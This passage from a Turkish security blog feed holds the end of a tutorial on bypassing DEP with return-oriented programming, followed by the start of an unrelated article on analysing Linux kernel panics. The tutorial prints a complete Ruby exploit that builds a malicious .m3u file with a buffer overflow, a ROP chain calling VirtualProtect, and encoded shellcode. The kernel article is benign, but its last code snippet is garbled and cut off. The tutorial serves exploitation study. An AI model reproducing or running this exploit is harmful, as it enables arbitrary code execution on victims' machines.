<p>Artık EAX, 0&#215;400 değerine eşit. Yani VP()&#8217;nin 3.parametresi stack üzerindeki. Yine çok kullanışlı olarak bulduğum gadget&#8217;lardan 0x775DD86D gadget&#8217;ını kullanıcam. Bu gadget&#8217;ın komutları şu şekilde;</p>
<pre>MOV DWORD PTR DS:[ESI+20],EAX
POP ESI
POP EBX
POP EBP
RETN 4</pre>
<p>Bir önceki parametre yazma işleminde olduğu gibi ESI+20 stack üzerinde VP()&#8217;nin 3.parametresine denk geliyor. Ayrıca bazı durumlarda daha kullanışlı olan NEG instruction&#8217;ı ile değeri elde etmek daha kısa olabiliyor. NEG instruction&#8217;ı verdiğiniz değeri 0xFFFFFFFF ile XOR&#8217;luyor. Ufak bir Ruby kodu yazdım ve 1024d elde etmek için hangi değeri kullanmam gerektiğini bulmaya yarıyor.</p>
<pre># negazord.rb
searchval = ARGV[0]

for i in 0..31337
 total = 0xFFFFFFFF - i
 negazored = "0x%08x" % (total ^ 0xFFFFFFFF)

 if negazored.to_i(16) == searchval.to_i
  puts "[+] founded! 0x#{total.to_s(16).upcase}"
 end
end</pre>
<p>Şu şekilde kullanarak 0xFFFFFBFF değerinin 0&#215;400 yapacağını buldum.</p>
<pre>[cb@world:~]&gt; ruby Codes/ruby/negazord.rb 1024
[+] founded!
[+] NEG (0xFFFFFBFF) = 0x00000400 (1024d)</pre>
<p>EAX&#8217;e 0xFFFFFBFF değerini POP edip ardından EAX&#8217;ı NEG işlemine tabi tutmalıyım. 0x77C4E0DA adresindeki gadget POP EAX + RETN içeriyor, EAX&#8217;ı 0xFFFFFBFF&#8217;e eşitledik. 0x77C1D1E3 adresindeki gadget ise NEG EAX + POP EBP + RETN içeriyor ve EAX&#8217;ı NEG instruction&#8217;ı ile 0&#215;400 yaptık.</p>
<pre>rop &lt;&lt; [0x77C4E0DA].pack("V*") # POP EAX + RETN &gt; msvcrt.dll
rop &lt;&lt; [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop &lt;&lt; [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP</pre>
<p>Exploit&#8217;imi NEG instruction&#8217;ı kullanacak şekilde güncelledim ve ADD EAX, 100 gadget&#8217;larını kaldırdım. Daha önceden yaptığım gibi yine ESI&#8217;yi kurtarmam lazım bunun içinde daha önceden kullanmış olduğum MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget&#8217;larını kullanacağım. Bu gadget&#8217;lar ile ESI&#8217;yi tekrar 0x000FF734 değerine eşitledim. Tekrar EAX&#8217;i XOR ile sıfırlıyarak 4.parametre olan 0&#215;40&#8242;a eşitleyeceğim. 0x7C972250 adresinde ADD EAX, 40 instruction&#8217;ına sahip bir gadget var onu kullanacağız ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN instruction&#8217;ı ile ESI+24&#8242;e yani 4.parametreye 0&#215;40 yazdıracağız. Exploit&#8217;in ve stack&#8217;in son hali şu şekilde.</p>
<p><strong>Exploit:</strong></p>
<pre>filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x33445566].pack("V*") # trash for POP
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop &lt;&lt; [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop &lt;&lt; [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop &lt;&lt; [0x44444444].pack("V*")
rop &lt;&lt; [0x45454545].pack("V*")
rop &lt;&lt; [0x46464646].pack("V*")
rop &lt;&lt; [0x47474747].pack("V*")
rop &lt;&lt; [0x10035005].pack("V*")
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp; second parameter of VP()
rop &lt;&lt; [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &gt; MFC42.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x14141414].pack("V*") # trash for RETN 4
rop &lt;&lt; [0x62626262].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop &lt;&lt; [0x77C4E0DA].pack("V*") # POP EAX + RETN &gt; msvcrt.dll
rop &lt;&lt; [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop &lt;&lt; [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
rop &lt;&lt; [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 &gt; ole32.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBX
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for RETN 4
rop &lt;&lt; [0x14141414].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN &gt; ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop &lt;&lt; [0x100307A9].pack("V*") # XOR EAX, EAX + RETN &gt; MSRMfilter03.dll
rop &lt;&lt; [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN &gt; ntdll.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop &lt;&lt; [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN &gt; RPCRT4.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}</pre>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/r0pped.png"><img src="http://adeosecurity.com/images/dep-bypass/r0pped.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Stack&#8217;in Son Durumu</td>
</tr>
</tbody>
</table>
<p>Stack son durumu yukarıdaki gibi. VP()&#8217;nin tüm parametrelerini istediğimiz şekilde ayarladık. Şimdi tek yapmamız gereken ESP&#8217;yi VP()&#8217;nin başlangıcına (0x000FF748) eşitlemek ve RETN ile yeni ESP&#8217;ye dönmek ve DEP&#8217;i bypass etmek.</p>
<p>İlk olarak EAX&#8217;ı tekrar kurtarmam lazım. Ne gerek var EDI&#8217;yi kullan diyebilirsiniz belki ama EDI ile çok fazla gadget bulunamayabiliyor. Bu yüzden yine MOV EAX,EDI + POP ESI + RETN gadget&#8217;ı ile EAX&#8217;ı tekrar 0x000FF734 değerine eşitliyorum.</p>
<pre>rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI</pre>
<p>Aşağıdaki resimden görebileceğiniz üzere VirtualProtect&#8217;in adresi ve parametreleri 0x000FF748 adresinden itibaren başlıyor. O zaman benim EAX&#8217;ı 0&#215;14 (20d) kadar arttırmam ve ardından EAX&#8217;ı ESP&#8217;ye taşımam lazım.</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://adeosecurity.com/images/dep-bypass/stack_pivoting.png"><img src="http://adeosecurity.com/images/dep-bypass/stack_pivoting.png" alt="" width="400" height="325" border="0" /></a></div>
<p>EAX&#8217;ı arttırmak için bulabildiğim gadget&#8217;lar 0x77C1F2CF adresindeki ADD EAX,0C + RETN ve 0x1001D2AC adresindeki ADD EAX,4 + RETN gadget&#8217;ları. Gadget&#8217;ları aşağıdaki şekilde çalıştırarak EAX&#8217;ı 0x000FF748&#8242;e eşitliyorum. Ardından 0x77C15ED5 adresinde bulmuş olduğum XCHG ESP,EAX + RETN gadget&#8217;ı ilede ESP&#8217;yi 0x000FF748 EAX&#8217;ı ise ESP&#8217;nin değerine eşitliyorum (Bu aşamadan sonra çok önemli değil EAX&#8217;ın başına gelenler).</p>
<p>Bingo! VP() fonksiyonu başarıyla çağırıldı, shellcode&#8217;umun bulunduğu alan kod çalıştırılabilir hale getirildi ve shellcode&#8217;um çalıştı!</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/before.png"><img src="http://adeosecurity.com/images/dep-bypass/before.png" alt="" width="400" height="205" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Exploit çalıştırılmadan önce</td>
</tr>
</tbody>
</table>
<div></div>
<div></div>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/DEP-bypassed.png"><img src="http://adeosecurity.com/images/dep-bypass/DEP-bypassed.png" alt="" width="400" height="205" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Exploit çalıştırıldıktan sonra</td>
</tr>
</tbody>
</table>
<p>Son olarak, exploit&#8217;imin son hali şu şekilde;</p>
<pre>filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # 0x100102DC RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH ESP + MOV EAX, EDX + POP EDI + RET
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0xffffff14].pack("V*") # trash for POP
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN &gt; ole32.dll
# EDI, ESI ve EAX saved ESP'ye sahipler

rop &lt;&lt; [0x77C22894].pack("V*") # ADD ESP,20 + POP EBP + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# VirtualProtect Placeholder
rop &lt;&lt; [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop &lt;&lt; [0x44444444].pack("V*")
rop &lt;&lt; [0x45454545].pack("V*")
rop &lt;&lt; [0x46464646].pack("V*")
rop &lt;&lt; [0x47474747].pack("V*")
rop &lt;&lt; [0x10035005].pack("V*")

rop &lt;&lt; [0x61616161].pack("V*") # some padding for add esp,20
rop &lt;&lt; [0x61616161].pack("V*")

# EAX'i shellcode'a işaret ettiriyoruz
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp; second parameter of VP()
rop &lt;&lt; [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &gt; MFC42.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBp

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x14141414].pack("V*") # trash for RETN 4
rop &lt;&lt; [0x62626262].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN &gt; ole32.dll

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop &lt;&lt; [0x77C4E0DA].pack("V*") # POP EAX + RETN &gt; msvcrt.dll
rop &lt;&lt; [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop &lt;&lt; [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
rop &lt;&lt; [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 &gt; ole32.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBX
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for RETN 4
rop &lt;&lt; [0x14141414].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN &gt; ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop &lt;&lt; [0x100307A9].pack("V*") # XOR EAX, EAX + RETN &gt; MSRMfilter03.dll
rop &lt;&lt; [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN &gt; ntdll.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop &lt;&lt; [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN &gt; RPCRT4.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI

# Trying to point ESP to EAX (VP()!)
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x77C1F2CF].pack("V*") # ADD EAX,0C + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN &gt; MSRMfilter03.dll
rop &lt;&lt; [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN &gt; MSRMfilter03.dll
rop &lt;&lt; [0x77C15ED5].pack("V*") # XCHG ESP,EAX + RETN &gt; msvcrt.dll

# shellcode to execute from stack when ROP success
nops = ("\x90" * 100)
shellcode = "\xbb\xfd\x1c\xf5\x42\xd9\xc0\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16" +
"\xf1\x51\x38\xe6\x02\x02\xb0\x03\x33\x10\xa6\x40\x66\xa4" +
"\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa" +
"\x2a\x3d\x94\x50\xe8\x5f\x68\xaa\x3d\x80\x51\x65\x30\xc1" +
"\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xa4\xb2\x25\x2b\xa3" +
"\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b" +
"\xba\x5a\x8f\x2f\x86\x15\xa4\x84\x7c\xa4\x6c\xd5\x7d\x97" +
"\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1\xfe\xdd\x43\xc2" +
"\xc4\x9c\x9f\x47\xd9\x06\x6b\xff\x39\xb7\xb8\x66\xc9\xbb" +
"\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3" +
"\xa5\x37\x01\x8a\xfc\x9d\xe4\xb3\x1f\x79\x58\x16\x6b\x6b" +
"\x8d\x20\x36\xe1\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b" +
"\xc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3" +
"\x01\xb8\x3d\x07\x3c\x3b\xb4\xf7\xbb\x23\xbd\xf2\x80\xe3" +
"\x2d\x8e\x99\x81\x51\x3d\x99\x83\x31\xa0\x09\x4f\x98\x47" +
"\xaa\xea\xe4"
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{rop.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}</pre>
<p><strong>Referanslar</strong><br />
[1] http://msdn.microsoft.com/en-us/library/aa366898(v=vs.85).aspx<br />
[2] http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/exploiting/return-oriented-programming-dep-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alice in Kernel Panic()</title>
		<link>http://www.adeosecurity.com/guvenlik/alice-in-kernel-panic/</link>
		<comments>http://www.adeosecurity.com/guvenlik/alice-in-kernel-panic/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 09:32:09 +0000</pubDate>
		<dc:creator>Yasin SÜRER</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Kernel Hacking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=450</guid>
		<description><![CDATA[Günlük hayatta çeşitli yazılımsal veya donanımsal nedenlerden dolayı sistemlerin “crash” olması yani çökmesi hemen herkesin başına gelmiştir.Bu durum, özellikle büyük ölçekteki ağlardan sorumlu sistem yöneticileri için oldukça sıkıntılı bir süreç anlamına gelmektedir. Çünkü problemin kaynağına inmek ve çözümü için izlenmesi gereken adımların bilinmesi ileri seviye sayılabilecek teknik kabiliyet gerektirmektedir.Bazi durumlarda ilgili yazılım için yamaların yüklenmesi [...]]]></description>
			<content:encoded><![CDATA[<p>Günlük hayatta çeşitli yazılımsal veya donanımsal nedenlerden dolayı sistemlerin “crash” olması yani çökmesi hemen herkesin başına gelmiştir.Bu durum, özellikle büyük ölçekteki ağlardan sorumlu sistem yöneticileri için oldukça sıkıntılı bir süreç anlamına gelmektedir. Çünkü problemin kaynağına inmek ve çözümü için izlenmesi gereken adımların bilinmesi ileri seviye sayılabilecek teknik kabiliyet gerektirmektedir.Bazi durumlarda ilgili yazılım için yamaların yüklenmesi yetersiz kalabilir.<br />
<span id="more-450"></span> Bu tip sorunlar, sebepleri anlamında çeşitlilik göstermekle birlikte sonuçlarıda fazlaca istenmeyen duruma gebe kalmaktadır.Bu sonuçlardan bazıları “iş gücünün artması”, “serviste olabilecek aksaklıklar”, ve ”bilinmeyen güvenlik sorunları” olarak sıralanabilir.Yazı içeriği Unix ve benzeri işletim sistemleri üzerinde sorunların takibine yöneliktir.</p>
<p>Bir coğumuz, Unix benzeri işletim sistemleri üzerinde çalısırken, özellikle ”Kernel Derleme” esnasında veya “modüller” ile ilgili işlemler sırasında bir çoğumuz sistemlerin kernel bazında çökmesine tanık olmuştur. Bu gibi durumlarda Unix işletim sistemlerinin “Kernel Oops!” veya “Kernel Panic” mesajları sistem yöneticileri için oldukça korkutucu olabilir.Çunku bu bir çok sistem yöneticisi için sistemin artık ayağa kaldirilamayacağı ve yeni bir iş yükünün habercisi anlamini taşımaktadır.Aslında durum bunun tam tersi, mevcut mesaj ve dump ettiği veri sorunun nereden kaynaklandığı bilgisini taşımakta, bu tip verilerde problemin çözümü ve hatanın takibi aşamasında oldukça yardımcı olmaktadır.</p>
<p style="text-align: center;"><a href="http://www.adeosecurity.com/wp-content/uploads/2011/07/kernel-panic-1.jpg"><img class="aligncenter size-full wp-image-451" title="kernel-panic-1" src="http://www.adeosecurity.com/wp-content/uploads/2011/07/kernel-panic-1.jpg" alt="" width="300" height="225" /></a></p>
<p>Bu tip durumların sebeplerinin çesitlilik gösterebileceğini daha önce söylemiştim fakat programcıların karşılastığı en temel durumlardan biri hafıza bloğu sorunlarıdır.Örneğin, hafıza bloklari sistem içerisinde kullanılabilir durumda olmadığı halde kullanıma açık görülebilir.Bunun neden veya nasıl olduğu konusu spesifiktir çünkü incelenen kapsamın dışına çıkmak gerekebilir _ki_ bu mevcut süreci çok daha karmaşık hale getirebilir. Bu tip yanlis bildirimler esnasında “Kernel Panic” fonksiyonu devreye girer ve bütünlüğe aykırı durumları kullanıcıya bildirir.Linux çekirdeğinin ilk versiyonlarında aşagıdaki fonksiyon bu görevi yerine getirmekteydi.</p>
<pre>--snip--

asmlinkage void sys_sync(void);	 

extern int vsprintf(char * buf, const char * fmt, va_list args);

NORET_TYPE void panic(const char * fmt, ...)
{
	static char buf[1024];
	va_list args;

	va_start(args, fmt);
	vsprintf(buf, fmt, args);
	va_end(args);
	printk(KERN_EMERG "Kernel panic: %s\n",buf);
	if (current == task[0])
		printk(KERN_EMERG "In swapper task - not syncing\n");
	else
	 	sys_sync();
	for(;;);
}

--snip--</pre>
<p>Probleme dair nispeten kısıtlı bilgiler ekrana basılır ve sistem son satırda görebileceğiniz gibi “for(;;);” döngüsü sayesinde kilitlenirdi. Referans gösterilerilen sistem kaynaklarının bütünlüğü kontrol edilir ve bu fonksiyona cağrı yapılır.Söz konusu fonksiyon için bilinmesi gereken en önemli husus bu fonksiyonun sadece “kernel mode” seviyesinde çağrıldığıdır. Bir yazılımın içerisinde oluşturduğu bir hata bu fonksiyonu tetikler. Bu durum özellikle “device driver” gibi modullerde oldukça rastlanan bir durum.Program akışı hali hazırda “kernel mode” seviyesinde gerçekleştiği için söz konusu cağrı yapılır.</p>
<p style="text-align: center;"><a href="http://www.adeosecurity.com/wp-content/uploads/2011/07/kernel-panic-2.jpg"><img class="aligncenter size-full wp-image-452" title="kernel-panic-2" src="http://www.adeosecurity.com/wp-content/uploads/2011/07/kernel-panic-2.jpg" alt="" width="300" height="400" /></a></p>
<p>Genel olarak çalışma prensibi hafıza içeriğinin bir kopyasını bir alana atar.Yani mevcut durumun bir imajını dump için ayrılan bölume atar (bkz:swap).Imaj yapısı dosya formatlarından’da bilindiği gibi çeşitli başlık bilgileriyle beraber “magic number” denilen ve alınan imajın “crash dump” olduğunu belirten numaralardır.”Kernel Panic” çiktisi basitçe mevcut işlemci durumunun kritik olabilecek bilgilerini ekrana basar.Örnek olarak, “register”, ”stack” “pointer”, “trigger” gibi bilgiler verilebilir.Örnek bir “crash” mesajı aşağıdan görüntülenebilir.</p>
<pre>--snip--

[13048,432026] EIP: 0060:[] EFLAGS: 00000246: 0
[13048,432026] EIP is at intel_idle+0xb8/0x110
[13048,432026] FAX: 00000000 EBX: 00000000 ECX: 00001f45 EDX: 00000000
[13048,432026] ESI: 122a8fb9 EDI: 00000010 EBP: c172df60 ESP: c172df48
[13048,432026]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[13048,432026] Process swapper (pid:0, ti=f400a000 task=c1731f60
task.ti=c172c000)
[13048,432026] Stack:
[13048,432026] 00001f45 00000000 00000000 c1788e4c f500ab5c 373b7000
c172df80 c14061fd
[13048,432026] f500ac74 00000000 00000000 c1788e4c 00000000 373b7000
c172dfa0 c10019ca
[13048,432026] c1038d2e 00000000 6a52190c 4514d425 c17cda60 65e82d9e
c172dfa8 c14f0d2d
[13048,432026] Call Trace:
[13048,432026] [] cpuidle_idle_call+0x7d/0x160
[13048,432026] [] cpu_idle+0x8a/0xc0
[13048,432026] [] ? complete+0x4e/0x60
[13048,432026] [] rest_init+0x5d/0x70
[13048,432026] [] start_kernel+0x35f/0x366
[13048,432026] [] ? pass_all_bootoptions+0x0/0xa
[13048,432026] [] i386_start_kernel+0xe0/0xe8
[13048,432026] Code: c9 e8 3d 5a db ff 29 d8 bb 40 42 0f 00 19 f2 e8 9f 28
d9 ff 89 d1 f7 eb 89 cb c1 fb 1f 89 45 e8 01 3d e8 89 55 ec 11 5d ec fb 90
 74 26 00 85 3d 20 15 76 c1 75 0d 8d 55 f0 b8 05 00 00 00 e8
[13048,432026] Call Trace:
[13048,432026] [] cpuidle_idle_call+0x7d/0x160
[13048,432026] [] cpu_idle+0x8a/0xc0
[13048,432026] [] ? complete+0x4e/0x60
[13048,432026] [] rest_init+0x5d/0x70
[13048,432026] [] start_kernel+0x35f/0x366
[13048,432026] [] ? pass_all_bootoptions+0x0/0xa
[13048,432026] [] i386_start_kernel+0xe0/0xe8

--snip--</pre>
<p>Yukarıda görüldüğü gibi sistem üzerindeki işlemcinin durumuna dair bir çok bilgi ekrana basıldı.Burada önemli bir husus yukarıdaki çıktıda “bug trigger” açıkça görülüyor.Mevcut sorunun nereden kaynaklandığına dair problemi bulmak herhangi bir debugger/disassembler ile mümkün.Bazi durumlarda özellikle Solaris üzerinde benzeri “dump data” aldığımızda sorunun tetiklendiği kod parçasınıda ekrana basabilmekte ama bu durum çok nadir gerçekleşmekte.Onun yerine klasik bir çıktı aldığımızda yapılacak en temel şey “call” edilen fonksiyon adresini “kernel symbol table” içerisinde bulmak ve ardından az önce’de bahsettiğim gibi “machine code” seviyesinde incelemek.</p>
<p>Çıktıda ki bilgilerden anlaşılacaği üzere “kernel panic” bir “trap” oluşturduğunda o an ki “stack traceback” sonucunu döndürür.Hexadecimal olarak ”routine” ve “subroutine” adresleri ekranda görülüyor.LRU olarak “routine” çağırımı görülüyor en çok başvuru yapılan ve daha az başvuru yapılan rutinlerin sıralaması fonksiyon dahilindedir.Bunlar genelde sistem çağrıları ve “interrupt handle” eden rutinlerdir.Parametrelerin anlaşılması ve belki hatanın tekrarlanması “crash analysis” sonucunda anlaşılır.</p>
<p>Eğer olası bir hatanın ardından sistemin “reboot” olması durumu söz konusuysa, kısa bir süre içinde olsa bir sistem yöneticisi için iyi bir haber fakat her iki durumda’da burada anlatılan adımların bir kısmını veya tamamını tekrarlamak zorunda kalabilirsiniz.</p>
<pre>--snip--

   	leave
   	call   0x7dffa83
   	sub    %ebx,%eax
   	mov    $0xf4240,%ebx
   	sbb    %esi,%edx
   	call   0x7ddc8f3
   	mov    %edx,%ecx
   	imul   %ebx
   	mov    %ecx,%ebx
   	sar    $0x1f,%ebx
   	mov    %eax,-0x18(%ebp)
   	add    %edi,0xec5589e8
   	adc    %ebx,-0x14(%ebp)
   	sti
   	nop
   	lea    0x0(%esi,%eiz,1),%esi
   	test   %edi,0xc1761520
   	jne    0x804a084
   	lea    -0x10(%ebp),%edx
   	mov    $0x5,%eax
   	call   0x804a084 

--snip--</pre>
<p>Yukarıda hataya sebebiyet veren satırı, kodu “diassemble” ettiğimizde oldukça açık bir şekilde görebiliyoruz.Söz konusu problemi ortadan kaldırmak istiyorsak sıkıcı bir süreç bizi bekliyor demektir.Çünkü ilgili assembly kodunu kaynak kod ile karşılaştırmamız gerekecektir _ki_ bu oldukça yorucu ve sıkıcı bir süreç anlamına gelmekte.Oluşan “trap” ile elde edilen hatanın “trigger” bilgisi aşağıdaki gibidir.</p>
<pre>--snip--
   	mov    %eax,-0x18(%ebp)
   	add    %edi,0xec5589e8
   	adc    %ebx,-0x14(%ebp)
   	sti
   	nop
   	lea    0x0(%esi,%eiz,1),%esi // hatayi tetikleyen tam satir.
--snip--</pre>
<p>Örneğin aşağıda ki koda ulaşmam biraz vakit aldı kaynak kodun ne şekilde olabileceğini bilemediğimiz ve sembolleri tahmin edemeyeceğimizden dolayı bu süreci yaşamamız gerekiyor, tabii ki sorun daha önceden birileri tarafından yaşandıysa yine kaynak koda ulaştıktan sonra bunu öğrenebiliyoruz bunun aksi ne yazık ki şimdilik mümkün değil.</p>
<pre>--snip--

	for (i = 0; i count &#038;&#038; i length)) : list->bss_info;
		ASSERT(((uintptr)bi + dtoh32(bi->length)) BSSID, ETHER_ADDR_LEN);
		event = IWE_STREAM_ADD_EVENT(info, event, end, &#038;iwe,
		IW_EV_ADDR_LEN);

